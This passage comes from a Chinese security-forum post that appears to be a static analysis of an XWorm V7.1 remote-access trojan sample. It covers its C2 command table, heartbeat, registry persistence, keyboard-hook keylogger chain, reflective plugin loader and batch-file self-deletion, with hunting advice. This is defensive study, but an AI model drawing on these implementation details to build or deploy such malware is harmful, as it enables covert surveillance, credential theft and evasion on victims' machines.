阶段 3: 检查 MemoryStream.Length == Ⴄ → 完整消息
阶段 4: 启动新线程调用 BeginRead(byte[]) 处理
阶段 5: 重置 MemoryStream, 继续下一次接收

────────────────────────────────────────────────────────────────────────────────
4A.3 上线信息包 (Info 函数)
────────────────────────────────────────────────────────────────────────────────
位置: Info() (行 ~3780-3874)

构造 27 字段数组, 用 Settings.SPL ("<Xwormmm>") 拼接:

  ┌──────┬──────────────────────────────────────────────┐
  │ 索引 │ 字段内容                                      │
  ├──────┼──────────────────────────────────────────────┤
  │ 0    │ 命令标识 (上线)                                                                                             │
  │ 2    │ 计算机名/用户名 (My.Computer.Name)                                                        │
  │ 4    │ 当前日期时间字符串                                                                                      │
  │ 6    │ 操作系统信息 (ComputerInfo.OSFullName)                                                 │
  │ 8    │ .NET CLR 版本                                                                                              │
  │ 10   │ Settings.Groub = "XWorm V7.1" (组名)                                                         │
  │ 12   │ INDATE() — 安装日期                                                                                 │
  │ 14   │ Spread() — USB 传播状态                       │
  │ 16   │ UAC() — 管理员权限状态 ("True"/"False")        │
  │ 18   │ Cam() — 摄像头可用性                          │
  │ 20   │ CPU() — CPU 型号 (Win32_Processor)            │
  │ 22   │ GPU() — 显卡型号 (Win32_VideoController)      │
  │ 24   │ RAM() — 物理内存容量                          │
  │ 26   │ Antivirus() — 杀软名称 (SecurityCenter2)      │
  └──────┴──────────────────────────────────────────────┘

────────────────────────────────────────────────────────────────────────────────
4A.4 命令分发列表 (Read 函数)
────────────────────────────────────────────────────────────────────────────────
位置: Read(byte[] b) (行 5015)

收到 C2 数据后用 Settings.SPL 分隔, array[0] 为命令名,
通过 AlgorithmAES._isr(cmd, "<命令字符串>", false, ...) 进行 Babel
混淆的字符串比较, 路由到对应处理逻辑:

  ┌──────────────┬──────────────────────────────────────────────────────┐
  │ 命令字符串   │ 行为                                                  │
  ├──────────────┼──────────────────────────────────────────────────────┤
  │ pong         │ 重置 ActivatePong=false, Interval=0 (心跳响应)        │
  │ rec          │ 调用 Ⴜ.Ⴃ.Ⴓ() (录制/恢复)                              │
  │ CLOSE        │ Socket.Shutdown(Both) + Close, 断开 C2                │
  │ uninstall    │ UNS(IsUpdate:false, null, null) — 自卸载              │
  │ update       │ UNS(IsUpdate:true, url, hash) — 下载更新并替换        │
  │ DW           │ 下载 URL 到本地路径并执行 (WebClient.DownloadFile)    │
  │ Urlopen      │ OpenUrl(url, Hidden:false) — 可见打开 URL             │
  │ Urlhide      │ OpenUrl(url, Hidden:true)  — 隐藏打开 URL             │
  │ RunShell     │ My.MyComputer.ႠႭ(cmd, AppWinStyle.Hide) — 隐藏执行  │
  │ StartDDos    │ DDos = new Thread(TD) — 启动 DDoS 攻击线程            │
  │ StopDDos     │ DDos.Abort() — 停止 DDoS                              │
  │ StartReport  │ ReportWindow = new Thread(Monitoring) — 启动监控      │
  │ StopReport   │ ReportWindow.Abort() — 停止监控                       │
  │ plugin       │ Plugin(base64decode(array[1])) — 加载 .NET 插件       │
  │ sendPlugin   │ Plugin(byte[]) — 加载字节数组插件                     │
  │ savePlugin   │ 保存插件到磁盘                                        │
  │ RemovePlugins│ 卸载所有插件                                          │
  │ $Cap / #CAP  │ 屏幕截图: 256x156 JPEG, Base64 编码, 通过 C2 回传     │
  │ Xchat        │ 聊天消息转发                                          │
  │ Hosts        │ 主机列表/远程执行                                     │
  │ OfflineGet   │ 离线命令获取                                          │
  │ XLogger      │ 触发键盘记录器                                        │
  │ PCShutdown   │ 关机                                                  │
  │ PCRestart    │ 重启                                                  │
  │ PCLogoff     │ 注销                                                  │
  │ LN           │ 登录相关                                              │
  └──────────────┴──────────────────────────────────────────────────────┘

屏幕截图实现 (行 5443-5540):
Screen.PrimaryScreen.Bounds 获取屏幕尺寸
new Bitmap(w, h, Format16bppRgb555)
Graphics.CopyFromScreen 捕获屏幕
缩放到 256x156 (大幅降低传输量)
JPEG 编码 → Base64 → 通过 C2 回传
含 Graphics/Bitmap/MemoryStream 资源释放

────────────────────────────────────────────────────────────────────────────────
4A.5 心跳机制 (Ping 函数)
────────────────────────────────────────────────────────────────────────────────
位置: Ping() (行 4853)

定时器: System.Threading.Timer, 10000-15000ms 随机间隔
  - 随机化避免固定周期被检测

心跳消息格式:
  array[0] = "PING!" (Babel 解密)
  array[1] = Settings.SPL
  array[2] = Ⴜ.Ⴃ.Ⴙ()  // 哈希值/会话标识
  array[3] = Settings.SPL
  array[4] = Ⴜ.Ⴃ.Ⴍ   // 计数器

状态机:
发送 PING 后: ActivatePong = true
收到 C2 "pong" 命令: ActivatePong = false, Interval = 0
若长时间未收到 pong: 连接视为失效, 触发重连

────────────────────────────────────────────────────────────────────────────────
4A.6 持久化机制
────────────────────────────────────────────────────────────────────────────────
位置: Ⴜ.Ⴃ() 安装函数 + Ⴓ(string, byte[]) 注册表写入 (行 12212)

注册表写入 (HKCU):
  路径: HKEY_CURRENT_USER\<Ⴍ.Ⴃ.Ⴈ>  (子键路径由 Babel 解密变量持有)
  操作: Registry.CurrentUser.CreateSubKey(path, ReadWriteSubTree)
        RegistryKey.SetValue(name, value, RegistryValueKind.Binary)
  类型: REG_BINARY (字节数组, 而非经典 Run 键的 REG_SZ)

注册表读取 (行 12288):
  Ⴀ(string P_0) — 从 HKCU\<subkey> 读取名为 P_0 的 REG_BINARY 值
  返回 byte[] — 可能为 PE 字节流或配置数据

注: 经典 XWorm 通常写入 HKCU\Software\<随机>\<Name> 持久化键,
    本样本因 Babel 名称混淆, 注册表子键具体名称需运行时动态解密获取,
    静态分析无法直接还原。建议狩猎时扫描 HKCU 下所有 REG_BINARY 值
    与已知 Mutex/路径关联分析。

辅助持久化 (stage-2 loader, 见 Stage 6):
计划任务 1: YOL9BiN6Qx (msBuild.exe 路径)
计划任务 2: Z5rQ0GqDlI (huu.hta 路径)
使用 Microsoft.Win32.TaskScheduler v2.12.2.0

────────────────────────────────────────────────────────────────────────────────
4A.7 键盘记录器 (XLogger.callk)
────────────────────────────────────────────────────────────────────────────────
位置: XLogger 类 (行 9541-10031)

钩子安装:
SetWindowsHookEx(13, callback, hModule, 0)
    // WH_KEYBOARD_LL = 13, 全局低级键盘钩子
GetModuleHandle(null) 获取当前模块句柄
回调类型 ႳႳ: delegate IntPtr(int nCode, IntPtr wParam, IntPtr lParam)

按键解码链:
  1. GetForegroundWindow() — 获取活动窗口
  2. GetWindowThreadProcessId(hwnd, out pid) — 获取进程 ID
  3. Process.GetProcessById(pid).MainWindowTitle — 获取窗口标题
  4. GetKeyState(vk) / GetKeyboardState(byte[256]) — 获取键状态
  5. GetKeyboardLayout(threadId) — 获取键盘布局
  6. MapVirtualKey(vk, 0) — 虚拟键 → 扫描码
  7. ToUnicodeEx(vk, scancode, keystate, StringBuilder, 8, 0, hkl)
     — 虚拟键 → Unicode 字符

日志写入:
文件: Settings.LoggerPath = "temp\Log.tmp"
模式: StreamWriter(path, append:true) — 追加
格式: 窗口切换时写入 "\r\n\r\n<窗口标题>\r\n"
          按键直接写入字符 (特殊键映射为 [ENTER]/[SPACE]/[CTRL] 等)

已解密特殊键名映射 (Babel 解密):
  [SPACE] [ENTER] [ESC] [CTRL] [Shift] [Back] [WIN] [Tab]
  [CAPSLOCK: ON] / [CAPSLOCK: OFF]

────────────────────────────────────────────────────────────────────────────────
4A.8 插件系统 (Plugin 函数)
────────────────────────────────────────────────────────────────────────────────
位置: Plugin(byte[] B) (行 5716)

加载流程:
  1. Assembly.Load(B) — 加载 .NET 程序集字节数组
  2. 遍历 assembly.GetTypes():
       - 查找含特定方法名的 Type
       - 已知方法名 (Babel 解密): "Run" / "Main" / 其他重载
  3. 对每个 Type, MethodInfo[] = Type.GetMethods()
  4. 匹配方法名后, 反射 Invoke:
       args[0] = null
       args[1] = new object[] {
           Settings.Host,    // C2 主机
           Settings.Port,    // C2 端口
           Settings.SPL,     // 分隔符
           Settings.KEY,     // 通信密钥
           Ⴜ.Ⴃ.Ⴀ()          // HWID/会话标识
       }
       MethodInfo.Invoke(null, args)
  5. 插件可调用宿主函数 (SendMSG/SendError/ClientSocket.Send)

安全含义:
攻击者可动态推送任意 .NET 程序集到受感染主机
插件继承宿主上下文, 直接复用 C2 通道
经典 XWorm 插件示例: 密码窃取、浏览器 Cookie 抓取、Telegram 窃取

────────────────────────────────────────────────────────────────────────────────
4A.9 自卸载/自更新 (UNS 函数)
────────────────────────────────────────────────────────────────────────────────
位置: UNS(bool IsUpdate, string Str, byte[] B) (行 7658)

IsUpdate=true (自更新):
  1. 下载新版本到 Path.Combine(Path.GetTempPath(), Str)
  2. 写入批处理脚本到临时文件, 内容 (Babel 解密):
       @echo off
       timeout 3 > NUL
       DEL "<当前可执行文件>" /f /q
       DEL "<批处理自身>"
  3. Process.Start(新版本路径) — 启动更新
  4. Process.Start(批处理) — 隐藏窗口执行删除
     ProcessWindowStyle.Hidden, CreateNoWindow=true, UseShellExecute=false
  5. Environment.Exit(0) — 退出当前进程

IsUpdate=false (自卸载):
  1. 仅写入批处理脚本 (含 DEL 当前文件)
  2. Process.Start(批处理) 隐藏执行
  3. Environment.Exit(0)

批处理自删除技术: 经典反取证手段, 利用 timeout 延迟等待主进程退出,
然后强制删除主 PE 文件, 最后自删除批处理。

评分

参与人数 1人气 +3 收起 理由
tdsskiller + 3 感谢解答: )

查看全部评分

您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2026-10-19 09:13 , Processed in 0.103278 second(s), 4 queries , Redis On.

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表